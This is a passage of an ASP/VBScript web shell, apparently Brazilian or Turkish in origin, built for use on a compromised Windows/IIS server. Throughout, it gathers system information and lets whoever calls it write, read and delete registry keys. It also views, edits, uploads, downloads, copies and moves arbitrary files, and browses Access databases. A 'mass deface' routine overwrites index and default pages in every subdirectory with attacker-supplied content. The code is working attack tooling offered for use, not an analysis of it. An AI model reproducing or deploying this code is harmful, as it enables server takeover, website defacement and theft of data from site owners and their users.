Response.Write "<b>Processor Identifier: </b>" & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
Response.Write "<b>Processor Level: </b>" & WshEnv("PROCESSOR_LEVEL") & "<br>"
Response.Write "<b>Processor Revision: </b>" & WshEnv("PROCESSOR_REVISION") & "<br>"
Response.Write "<br><b>Operating System Information:</b><br>"
Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
Response.Write "<b>Sistem OS: </b>" & WshEnv("OS") & "<br>"
Response.Write "<b>Server Software: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
Response.Write "<b>Cmd Path: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
Response.Write "<b>Public Paths: </b>" & WshEnv("PATH") & "<br>"
Response.Write "<b>Executables: </b>" & WshEnv("PATHEXT") & "<br>"
Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"
Response.Write "<b>System Drive: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
Response.Write "<b>System32 Path: </b>" & WshShell.CurrentDirectory & "<br>"
Set Drives = Nothing
Set WshNetwork = Nothing
Set WshShell = Nothing
Set WshEnv = Nothing
Case "reg"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
Set WshShell = Server.CreateObject("WScript.Shell")
Response.Write "<font face=""arial"" size=""2""><br><b>Registry Editor:</b><br><br>"
Select Case Trim(Request.QueryString("regaction"))
Case "w"
If Trim(Request.QueryString("process")) = "yes" Then
Select Case Trim(Request.QueryString("type"))
Case "1"
teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")
Case "2"
teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")
Case "3"
teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")
Case "4"
teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ")
Case "5"
teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ")
End Select
Response.Write "<center><br><font face=""arial"" size=""2"">Registry <b>"
Response.Write Trim(Request.QueryString("key")) & "</b> Changed.</center>"
Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
Else
Response.Write "<table><tr><td><font face=""arial"" size=""2"">ROOT KEY NAME</td><td><font face=""arial"" size=""2"">ABREVIAÇÃO</td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1""> HKCU </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1""> HKLM </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1""> HKCR </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_USERS </td><td><font face=""arial"" size=""1""> HKEY_USERS </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1""> HKEY_CURRENT_CONFIG </td></tr></table><br>"
Response.Write "<table><tr><td><font face=""arial"" size=""2"">Type </td><td><font face=""arial"" size=""2""> Description </td><td><font face=""arial"" size=""2""> Figure </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">REG_SZ </td><td><font face=""arial"" size=""1""> String </td><td><font face=""arial"" size=""1""> String </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">REG_DWORD </td><td><font face=""arial"" size=""1""> Number </td><td><font face=""arial"" size=""1""> DWORD </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">REG_BINARY </td><td><font face=""arial"" size=""1""> Binary </td><td><font face=""arial"" size=""1""> VBArray DWORD </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">REG_EXPAND_SZ </td><td><font face=""arial"" size=""1""> String Expand (ex. ""%windir%\\calc.exe"") </td><td><font face=""arial"" size=""1""> String </td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">REG_MULTI_SZ </td><td><font face=""arial"" size=""1""> Array Of Strings </td><td><font face=""arial"" size=""1""> VBArray Of Strings </td></tr></table>"
Response.Write "<br><br><FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
Response.Write "<table><tr><td><font face=""arial"" size=""1"">KEY: </td><td><input type=""text"" name=""key""> <font face=""arial"" size=""1""><br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">VALUE:</td><td><input type=""text"" name=""value""></td></tr>"
Response.Write "<tr><td><font face=""arial"" size=""1"">TYPE:</td><td><SELECT NAME=""type"">"
Response.Write "<OPTION VALUE=""1"">REG_SZ </option>"
Response.Write "<OPTION VALUE=""2"">REG_DWORD </option>"
Response.Write "<OPTION VALUE=""3"">REG_BINARY </option>"
Response.Write "<OPTION VALUE=""4"">REG_EXPAND_SZ </option>"
Response.Write "<OPTION VALUE=""5"">REG_MULTI_SZ </option></select><br>"
Response.Write "<input type=""hidden"" name=""regaction"" value=""w"">"
Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
Response.Write "<input type=""hidden"" name=""process"" value=""yes""></td></tr>"
Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>"
Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
End If
Case "r"
If Trim(Request.QueryString("process")) = "yes" Then
Response.Write "<font face=""arial"" size=""2"">" & Trim(Request.QueryString("key")) & "<br>"
Response.Write "Value: <b>" & WshShell.RegRead (Trim(Request.QueryString("key")))
Else
Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> <br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
Response.Write "<input type=""hidden"" name=""regaction"" value=""r"">"
Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
Response.Write "<input type=""submit"" value=""OK""></form>"
End If
Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
Case "d"
If Trim(Request.QueryString("process")) = "yes" Then
teste = WshShell.RegDelete (Trim(Request.QueryString("key")))
Response.Write "Chave <b>" & Trim(Request.QueryString("key")) & " </b>Deleted."
Else
Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
Response.Write "<input type=""hidden"" name=""regaction"" value=""d"">"
Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
Response.Write "<input type=""submit"" value=""OK""></form>"
End If
Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
Case Else
Response.Write "<font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg®action=w"">WRITE VALUE</a><br><br>"
Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg®action=r"">READ VALUE</a><br><br>"
Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg®action=d"">DELETE KEY</a><br>"
End Select
Set WshShell = Nothing
Case "txtview"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp & "<font face=""arial"" size=""2"">"
file = Replace(Trim(Request.QueryString("file")),"|","\")
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.OpenTextFile(file)
Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," "," ")
Set a = Nothing
Set fso = Nothing
Case "txtedit"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
If Request.Form.Count = 0 Then
file = Replace(Trim(Request.QueryString("file")),"|","\")
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.OpenTextFile(file)
Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"
Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"
Response.Write "<input type=""submit"" name=""savemethod"" value=""Save""> <input type=""submit"" name=""savemethod"" value=""Save as""></form>"
Set a = Nothing
Set fso = Nothing
Else
Select Case Trim(Request.Form("savemethod"))
Case "Save"
Set fso = CreateObject("Scripting.FileSystemObject")
novotexto = Trim(Request.Form("content"))
novotexto = Split(novotexto,vbCrLf)
Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
For i = 0 To UBound(novotexto)
objstream.WriteLine(novotexto(i))
Next
objstream.Close
Set objstream = Nothing
Response.Write "Texto salvo: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b>"
Case "Save as"
Set fso = CreateObject("Scripting.FileSystemObject")
novotexto = Trim(Request.Form("content"))
novotexto = Split(novotexto,vbCrLf)
caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
Set objstream = fso.CreateTextFile(caminho,true,false)
For i = 0 To UBound(novotexto)
objstream.WriteLine(novotexto(i))
Next
objstream.Close
Set objstream = Nothing
Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
Response.Write "<input type=""text"" name=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"
Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"
Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"
Case Else
caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = ObjFSO.GetFile(caminho)
destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename"))
MyFile.Move (destino)
If Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!"
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
End If
End Select
End If
Case "download"
Response.Buffer = True
Response.Clear
strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
strFileType = Request.QueryString("type")
if strFileType = "" then strFileType = "application/download"
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(strFilename)
intFilelength = f.size
Set f = Nothing
Set fso = Nothing
Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile
Response.AddHeader "Content-Length", intFilelength
Response.Charset = "UTF-8"
Response.ContentType = strFileType
Set Stream = Server.CreateObject("ADODB.Stream")
Stream.Open
Stream.type = 1
Stream.LoadFromFile strFileName
Response.BinaryWrite Stream.Read
Response.Flush
Stream.Close
Set Stream = Nothing
Case "upload"
If Request.QueryString("processupload") <> "yes" Then
Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&processupload=yes&path=" & Request.QueryString("path") & """>"
Response.Write "<TABLE BORDER=0>"
Response.Write "<tr><td><font face=""arial"" size=""2""><b>Select a file to upload:</b><br><INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td></tr>"
Response.Write "<tr><td align=""center""><font face=""arial"" size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>"
Response.Write "</TABLE>"
Else
Set Uploader = New FileUploader
Uploader.Upload()
If Uploader.Files.Count = 0 Then
Response.Write "File(s) not uploaded."
Else
For Each File In Uploader.Files.Items
File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\")
Response.Write "File Uploaded: " & File.FileName & "<br>"
Response.Write "Size: " & File.FileSize & " bytes<br>"
Response.Write "Type: " & File.ContentType & "<br><br>"
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
Next
End If
End If
Case "mass"
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
On Error Resume Next
Set MonRep = ObjFSO.GetFolder(caminhodomass)
Set ColFolders = MonRep.SubFolders
for each folderItem in ColFolders
destino1 = folderItem.path & "\index.htm"
destino2 = folderItem.path & "\index.html"
destino3 = folderItem.path & "\index.asp"
destino4 = folderItem.path & "\index.cfm"
destino5 = folderItem.path & "\index.php"
destino6 = folderItem.path & "\default.htm"
destino7 = folderItem.path & "\default.html"
destino8 = folderItem.path & "\default.asp"
destino9 = folderItem.path & "\default.cfm"
destino10 = folderItem.path & "\default.php"
MeuArquivo.Copy(destino1)
MeuArquivo.Copy(destino2)
MeuArquivo.Copy(destino3)
MeuArquivo.Copy(destino4)
MeuArquivo.Copy(destino5)
MeuArquivo.Copy(destino6)
MeuArquivo.Copy(destino7)
MeuArquivo.Copy(destino8)
MeuArquivo.Copy(destino9)
MeuArquivo.Copy(destino10)
Response.Write "<table><tr><td><font face='arial' size='2'><DIR> " & folderItem.path & "</td>"
If Err.Number = 0 Then
Response.Write "<td valign='baseline'> <font face='arial' size='2' color='green'>DONE!</font></td></tr>"
Else
Response.Write "<td valign='baseline'> <font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
End If
Err.Number = 0
Response.Flush
If metodo = "brute" Then
Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
End If
next
End Sub
Sub brutemass(caminho,massaction)
If massaction = "test" Then
On Error Resume Next
Set MonRep = ObjFSO.GetFolder(caminho)
Set ColFolders = MonRep.SubFolders
Set ColFiles0 = MonRep.Files
for each folderItem in ColFolders
Set TotalFolders = ObjFSO.GetFolder(folderItem.path)
Set EachFolder = TotalFolders.SubFolders
Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
maindestino = folderItem.path & "\"
MeuArquivo.Copy(maindestino)
Response.Write "<tr><td><b><font face='arial' size='2'><DIR> " & maindestino & "</b></td>"
If Err.Number = 0 Then
Response.Write "<td valign='baseline'> <font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
Else
Response.Write "<td valign='baseline'> <font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
End If
Err.Number = 0
Response.Flush
If EachFolder.count > 0 Then
masscontador = 0
for each subpasta in EachFolder
masscontador = masscontador + 1
destino = subpasta.path & "\"
If masscontador = 1 Then
destinofinal = destino
pathfinal = subpasta.path
Err.Number = 0
MeuArquivo.Copy(destinofinal)
Response.Write "<tr><td><font face='arial' size='2'><DIR> " & showobj(pathfinal) & "</td>"
If Err.Number = 0 Then
Response.Write "<td valign='baseline'> <font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
Else
Response.Write "<td valign='baseline'> <font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
End If
Err.Number = 0
Response.Flush
Else
MeuArquivo.Copy(destino)
Response.Write "<tr><td><font face='arial' size='2'><DIR> " & showobj(subpasta.path) & "</td>"
If Err.Number = 0 Then
Response.Write "<td valign='baseline'> <font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
Else
Response.Write "<td valign='baseline'> <font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
End If
Err.Number = 0
Response.Flush
End If
next
masscontador = 0
End If
Response.Write "</table><br>"
Call brutemass(folderItem.path & "\","test")
next
Set MonRep = Nothing
Set ColFolders = Nothing
Set ColFiles0 = Nothing
Else
If Request.Form.Count = 0 Then
Response.Write "<font face=""arial"" size=""2""><br><br><b>Brute:</b> Test and Deface root and sub directories.<br><br>"
Response.Write "<b>Single:</b> Test and deface only root directories.<br><br>"
Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc"">"
Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>"
Response.Write "<center><font face=""arial"" size=""2"">Deface Code:<br>"
Response.Write "<textarea cols='65' rows='15' name=""content""></textarea><br>"
Response.Write "<input type=""radio"" name=""massopt"" value=""brute"" checked>Brute "
Response.Write "<input type=""radio"" name=""massopt"" value=""single"">Single<br>"
Response.Write "<input type=""submit"" value=""Deface ALL!""></center>"
Response.Write "</form>"
Else
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
arquivomassdfc = patharquivotxt & "teste.txt"
Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
vetordelinhas = Split(Request.Form("content"),VbCrLf)
For i = 0 To UBound(vetordelinhas)
Arquivotxt.WriteLine(vetordelinhas(i))
Next
Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
If Request.Form("massopt") = "single" Then
Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)
ElseIf Request.Form("massopt") = "brute" Then
Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
End If
End If
End If
End Sub
If Trim(Request.QueryString("massact")) = "test" Then
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
arquivo = patharquivotxt & "_vti_cnf.log"
Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True)
Set MeuArquivo = ObjFSO.GetFile(arquivo)
Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test")
ElseIf Trim(Request.QueryString("massact")) = "dfc" Then
Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc")
End If
Case "fcopy"
If Trim(Request.Form("submit1")) = "Copy" Then
mptpath=Trim(Request.Form("path"))
mptdest=Trim(Request.Form("cf"))
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
isl = ""
if Trim(Request.Form("islem"))="kopyala" then
objFSO.CopyFolder mptpath,mptdest
isl="Copied.."
elseif Trim(Request.Form("islem"))="tasi" then
objFSO.MoveFolder mptpath,mptdest
isl="moved.."
end if
response.Write "Command: "&isl
response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest
response.Write "<br>"
Else
Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy"">"
Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"
Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("path")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"
Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("path")) & "\","|","\") &"' name=cf>"
response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"
Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"
response.Write "<input type=radio name='islem' value='tasi'>Move"
response.Write "</table>"
response.Write "</form>"
End IF
Case "filecopy"
If Trim(Request.Form("submit1")) = "Copy" Then
mptpath=Trim(Request.Form("path"))
mptdest=Trim(Request.Form("cf"))
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
isl = ""
if Trim(Request.Form("islem"))="kopyala" then
objFSO.CopyFile mptpath,mptdest
isl="Copy.."
elseif Trim(Request.Form("islem"))="tasi" then
objFSO.MoveFile mptpath,mptdest
isl="move.."
end if
response.Write "Command: "&isl
response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest
response.Write "<br>"
Else
Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy"">"
Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"
Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"
Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=cf>"
response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"
Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"
response.Write "<input type=radio name='islem' value='tasi'>Move"
response.Write "</table>"
response.Write "</form>"
End IF
Case "search"
If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryString("status"))<>"" Then
showdisks=FALSE
status5=Trim(Request.Form("status"))
if status5="" then status5=Trim(Request.QueryString("status"))
SELECT CASE status5
CASE "5"
Response.Write "<center><b><font color=orange>"& Trim(Request.QueryString("path")) &"</font></b></center><br>"
Response.Write "<table width=100% ><tr><td>"
set f = objFSO.OpenTextFile(Trim(Request.QueryString("path")),1)
Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"
if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamyyor\nSistem dosyasy olabilir')</script>":Response.End
CASE "7":
Response.Write "<b><font size=3>Tables</font></br><br>"
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Trim(Request.QueryString("path"))
objConn.Open
objADOX.ActiveConnection = objConn
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"
End If
Next